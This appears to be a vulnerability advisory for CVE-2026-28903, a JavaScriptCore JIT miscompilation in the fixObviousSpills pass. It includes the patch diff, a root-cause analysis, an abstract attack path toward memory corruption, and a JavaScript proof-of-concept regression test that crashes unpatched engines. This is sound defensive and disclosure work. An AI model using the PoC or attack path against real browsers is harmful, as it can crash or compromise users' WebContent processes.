Released May 11, 2026

CVE-2026-28903

CVSS 6.5 severity medium CWE-119CWE-120 vector CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

Overview

Impact:

Description: Processing maliciously crafted web content may lead to an unexpected process crash

Researchers: Mateusz Krzywicki (iVerify.io)

Key insight. fixObviousSpills clobbered an instruction’s defs uniformly and only after fixing it, ignoring early defs; an operand could be rewritten to a value the instruction’s early def had already overwritten — a JIT aliasing miscompilation. Clobbering early defs before fixing the instruction restores correctness.

Patch Details

diff --git a/JSTests/stress/fixobviousspills-earlydefs.js b/JSTests/stress/fixobviousspills-earlydefs.js
new file mode 100644
index 000000000000..e066e52aca0d
--- /dev/null
+++ b/JSTests/stress/fixobviousspills-earlydefs.js
@@ -0,0 +1,43 @@
+const L = 100;
+const M = 200;
+const S = 0;
+const E = 256;
+const T = (E - S) - 5;
+
+for (let i = 0; i < 2; i++) {
+  let g = (a) => a.size;
+  let d = [];
+
+  for (let c = 0; c < 16; c++) {
+    g(d);
+
+    try {
+        const g = (a) => a.byteLength;
+        const b = new ArrayBuffer(M, { maxByteLength: M });
+        const d = new DataView(b, 0, L);
+
+        for (let c = S; c < E + 11; c++) {
+          g(1);
+
+          if (c != E) {
+            for (let c = S; c < E; c++) {
+              try { if (c == E - T) { g(1); } else { g(d); } } catch(e) { }
+            }
+
+            if (c != E) {
+              for (let c = S; c < E; c++) {
+                try { if (c == E - T) { g(1); } else { g(d); } } catch(e) { }
+              }
+              if (c != E) {
+                for (let c = S; c < E; c++) {
+                  try { if (c == E - T) { g(1); } else { g(d); } } catch(e) { }
+                }
+              }
+            }
+          }
+
+          if (c == E) { b.resize(L - 5); } else { g(d); }
+      }
+    } catch (e) { }
+  }
+}
diff --git a/Source/JavaScriptCore/b3/air/AirFixObviousSpills.cpp b/Source/JavaScriptCore/b3/air/AirFixObviousSpills.cpp
index 2fcd2fe1fcec..8e75140f6caf 100644
--- a/Source/JavaScriptCore/b3/air/AirFixObviousSpills.cpp
+++ b/Source/JavaScriptCore/b3/air/AirFixObviousSpills.cpp
@@ -55,9 +55,7 @@ public:
 
     void run()
     {
-        if (AirFixObviousSpillsInternal::verbose)
-            dataLog("Code before fixObviousSpills:\n", m_code);
-        
+        dataLogLnIf(AirFixObviousSpillsInternal::verbose, "Code before fixObviousSpills:\n", m_code);
         computeAliases();
         fixCode();
     }
@@ -79,11 +77,13 @@ private:
                 m_block = block;
                 m_state = m_atHead[block];
 
-                if (AirFixObviousSpillsInternal::verbose)
-                    dataLog("Executing block ", *m_block, ": ", m_state, "\n");
-                
-                for (m_instIndex = 0; m_instIndex < block->size(); ++m_instIndex)
-                    executeInst();
+                dataLogLnIf(AirFixObviousSpillsInternal::verbose, "Executing block ", *m_block, ": ", m_state);
+                for (m_instIndex = 0; m_instIndex < block->size(); ++m_instIndex) {
+                    dataLogLnIf(AirFixObviousSpillsInternal::verbose, "    Executing ", m_block->at(m_instIndex), ": ", m_state);
+                    clobberEarlyDefs();
+                    clobberLateDefs();
+                    addInstAliases();
+                }
 
                 // Before we call merge we must make sure that the two states are sorted.
                 m_state.sort();
@@ -116,8 +116,10 @@ private:
             RELEASE_ASSERT(m_notBottom.quickGet(block->index()));
 
             for (m_instIndex = 0; m_instIndex < block->size(); ++m_instIndex) {
+                clobberEarlyDefs();
                 fixInst();
-                executeInst();
+                clobberLateDefs();
+                addInstAliases();
             }
         }
     }
@@ -181,27 +183,33 @@ private:
         }
     }
 
-    void executeInst()
+    void clobberDefs(Inst* prevInst, Inst* nextInst)
     {
-        Inst& inst = m_block->at(m_instIndex);
-
-        if (AirFixObviousSpillsInternal::verbose)
-            dataLog("    Executing ", inst, ": ", m_state, "\n");
-
-        Inst::forEachDefWithExtraClobberedRegs<Reg>(&inst, &inst,
+        Inst::forEachDefWithExtraClobberedRegs<Reg>(prevInst, nextInst,
             [&] (const Reg& reg, Arg::Role, Bank, Width, PreservedWidth) {
-                if (AirFixObviousSpillsInternal::verbose)
-                    dataLog("        Clobbering ", reg, "\n");
+                dataLogLnIf(AirFixObviousSpillsInternal::verbose, "        Clobbering ", reg);
                 m_state.clobber(reg);
             });
 
-        Inst::forEachDef<StackSlot*>(&inst, &inst,
+        Inst::forEachDef<StackSlot*>(prevInst, nextInst,
             [&] (StackSlot* slot, Arg::Role, Bank, Width) {
-                if (AirFixObviousSpillsInternal::verbose)
-                    dataLog("        Clobbering ", *slot, "\n");
+                dataLogLnIf(AirFixObviousSpillsInternal::verbose, "        Clobbering ", *slot);
                 m_state.clobber(slot);
             });
+    }
+
+    void clobberEarlyDefs()
+    {
+        clobberDefs(nullptr, &m_block->at(m_instIndex));
+    }
 
+    void clobberLateDefs()
+    {
+        clobberDefs(&m_block->at(m_instIndex), nullptr);
+    }
+
+    void addInstAliases()
+    {
         forAllAliases(
             [&] (const auto& alias) {
                 m_state.addAlias(alias);
@@ -211,9 +219,7 @@ private:
     void fixInst()
     {
         Inst& inst = m_block->at(m_instIndex);
-
-        if (AirFixObviousSpillsInternal::verbose)
-            dataLog("Fixing inst ", inst, ": ", m_state, "\n");
+        dataLogLnIf(AirFixObviousSpillsInternal::verbose, "Fixing inst ", inst, ": ", m_state);
         
         // Check if alias analysis says that this is unnecessary.
         bool shouldLive = true;
@@ -289,14 +295,12 @@ private:
                 case Width64:
                     if (alias->mode != RegSlot::AllBits)
                         return;
-                    if (AirFixObviousSpillsInternal::verbose)
-                        dataLog("    Replacing ", arg, " with ", alias->reg, "\n");
+                    dataLogLnIf(AirFixObviousSpillsInternal::verbose, "    Replacing ", arg, " with ", alias->reg);
                     arg = Tmp(alias->reg);
                     didThings = true;
                     return;
                 case Width32:
-                    if (AirFixObviousSpillsInternal::verbose)
-                        dataLog("    Replacing ", arg, " with ", alias->reg, " (subwidth case)\n");
+                    dataLogLnIf(AirFixObviousSpillsInternal::verbose, "    Replacing ", arg, " with ", alias->reg, " (subwidth case)");
                     arg = Tmp(alias->reg);
                     didThings = true;
                     return;
@@ -307,8 +311,7 @@ private:
 
             // Revert to immediate if that didn't work.
             if (const SlotConst* alias = m_state.getSlotConst(arg.stackSlot())) {
-                if (AirFixObviousSpillsInternal::verbose)
-                    dataLog("    Replacing ", arg, " with constant ", alias->constant, "\n");
+                dataLogLnIf(AirFixObviousSpillsInternal::verbose, "    Replacing ", arg, " with constant ", alias->constant);
                 if (Arg::isValidImmForm(alias->constant))
                     arg = Arg::imm(alias->constant);
                 else

Background

Advisory: Apple Security Advisory

Attribute Value
CVE CVE-2026-28903
Bugzilla 310303
Component JSC
Bug Class TypeConfusion
Severity medium
Commit fa0214fe9a50ec15…
Advisory Apple Advisory

Terminology

  • Air / B3 backend — JavaScriptCore’s low-level JIT IR (Air) and optimizer that allocates registers and rewrites instructions.
  • fixObviousSpills — An Air pass that replaces spilled stack-slot operands with equivalent registers/constants it knows are aliased.
  • Early vs late def — An early def writes its result before the instruction reads its inputs (clobbering at the early point), while a late def writes after; alias state must clobber each at the right time.
  • Aliasing/spill state — The per-point set of reg/slot/constant equalities fixObviousSpills uses to justify operand substitutions.

Root Cause Analysis

fixObviousSpills is an Air (B3 backend) optimization that tracks which registers, stack slots and constants alias each other so it can replace spilled-slot operands with registers/immediates. Its per-instruction dataflow originally used a single executeInst() that, for each instruction, clobbered all of the instruction’s defs and then added the instruction’s aliases — treating every def uniformly. That ignores the distinction between an instruction’s early defs (registers/slots written before the instruction consumes its inputs, i.e. clobbered at the ’early’ point) and its late defs. Because early defs were not clobbered before fixInst() rewrote the instruction’s arguments, the alias state could still believe a register or slot held a value that the instruction’s early def had already overwritten, so fixInst could replace an operand with a register/constant that no longer holds the expected value. That is a miscompilation: the optimized code reads a stale aliased value. The fix splits def clobbering into clobberEarlyDefs() (clobber before fixInst) and clobberLateDefs() plus addInstAliases() (after), implemented via clobberDefs(prevInst, nextInst) calling forEachDefWithExtraClobberedRegs/forEachDef with the early (nullptr,&inst) and late (&inst,nullptr) roles; the fixCode loop now does clobberEarlyDefs(); fixInst(); clobberLateDefs(); addInstAliases(). The restored invariant is that the aliasing/spill state accounts for early defs before the instruction is fixed, so no operand is rewritten to a value invalidated by an early def.

Attack Path

1. Shape hot code with early-def instructions

Run JS (e.g. DataView/ArrayBuffer arithmetic) that the JIT compiles through B3/Air producing instructions with early-def operands and obvious spills.

2. Trigger the miscompilation

fixObviousSpills replaces an operand with a register/slot/constant it wrongly believes is still live across an early def, baking a stale value into the compiled code.

3. Use the wrong value

The optimized function computes on the stale aliased value (e.g. an index/length), producing results inconsistent with the intended semantics.

4. Corrupt memory

A miscomputed index/bound turns into an out-of-bounds or type-confused access in JIT code in the WebContent process.

Impact Assessment

A JIT correctness bug in the Air register/spill-aliasing pass: failing to clobber early defs before rewriting an instruction lets the optimizer substitute a stale value, i.e. a miscompilation. Such JIT miscompiles are a strong exploitation primitive class — a wrong index/length or type can become an out-of-bounds or type-confused access — though building it requires steering the register allocator into the exact aliasing shape. Confined to the WebContent process. Rated medium.

Audit Directions

Other passes ignoring early defs

grep Air passes for forEachDef usage that doesn’t distinguish early vs late roles (Arg::Role early/late) where operand rewriting or liveness depends on it.

Alias/spill state consumers

Audit code around m_state.clobber/addAlias in fixObviousSpills and sibling passes (e.g. lowerAfterRegAlloc) for ordering of clobber vs operand substitution.

forEachDefWithExtraClobberedRegs callers

Review callers passing (&inst,&inst) that should instead split into (nullptr,&inst) early and (&inst,nullptr) late to model clobbering correctly.

Changed Functions

Function File Change Note
FixObviousSpills::fixCode / run Source/JavaScriptCore/b3/air/AirFixObviousSpills.cpp modified Reworks the per-instruction sequence to clobberEarlyDefs() before fixInst(), then clobberLateDefs() and addInstAliases(), replacing the single executeInst().
FixObviousSpills::clobberDefs / clobberEarlyDefs / clobberLateDefs / addInstAliases Source/JavaScriptCore/b3/air/AirFixObviousSpills.cpp added Split def-clobbering into early vs late via forEachDefWithExtraClobberedRegs(prevInst,nextInst,…), so early defs are clobbered from the alias state before instruction fixing.

Files Changed

Source Files

  • Source/JavaScriptCore/b3/air/AirFixObviousSpills.cpp

Test Files

  • JSTests/stress/fixobviousspills-earlydefs.js

Regression Test

The fix ships this proof-of-concept / regression test:

diff --git a/JSTests/stress/fixobviousspills-earlydefs.js b/JSTests/stress/fixobviousspills-earlydefs.js
new file mode 100644
index 000000000000..e066e52aca0d
--- /dev/null
+++ b/JSTests/stress/fixobviousspills-earlydefs.js
@@ -0,0 +1,43 @@
+const L = 100;
+const M = 200;
+const S = 0;
+const E = 256;
+const T = (E - S) - 5;
+
+for (let i = 0; i < 2; i++) {
+  let g = (a) => a.size;
+  let d = [];
+
+  for (let c = 0; c < 16; c++) {
+    g(d);
+
+    try {
+        const g = (a) => a.byteLength;
+        const b = new ArrayBuffer(M, { maxByteLength: M });
+        const d = new DataView(b, 0, L);
+
+        for (let c = S; c < E + 11; c++) {
+          g(1);
+
+          if (c != E) {
+            for (let c = S; c < E; c++) {
+              try { if (c == E - T) { g(1); } else { g(d); } } catch(e) { }
+            }
+
+            if (c != E) {
+              for (let c = S; c < E; c++) {
+                try { if (c == E - T) { g(1); } else { g(d); } } catch(e) { }
+              }
+              if (c != E) {
+                for (let c = S; c < E; c++) {
+                  try { if (c == E - T) { g(1); } else { g(d); } } catch(e) { }
+                }
+              }
+            }
+          }
+
+          if (c == E) { b.resize(L - 5); } else { g(d); }
+      }
+    } catch (e) { }
+  }
+}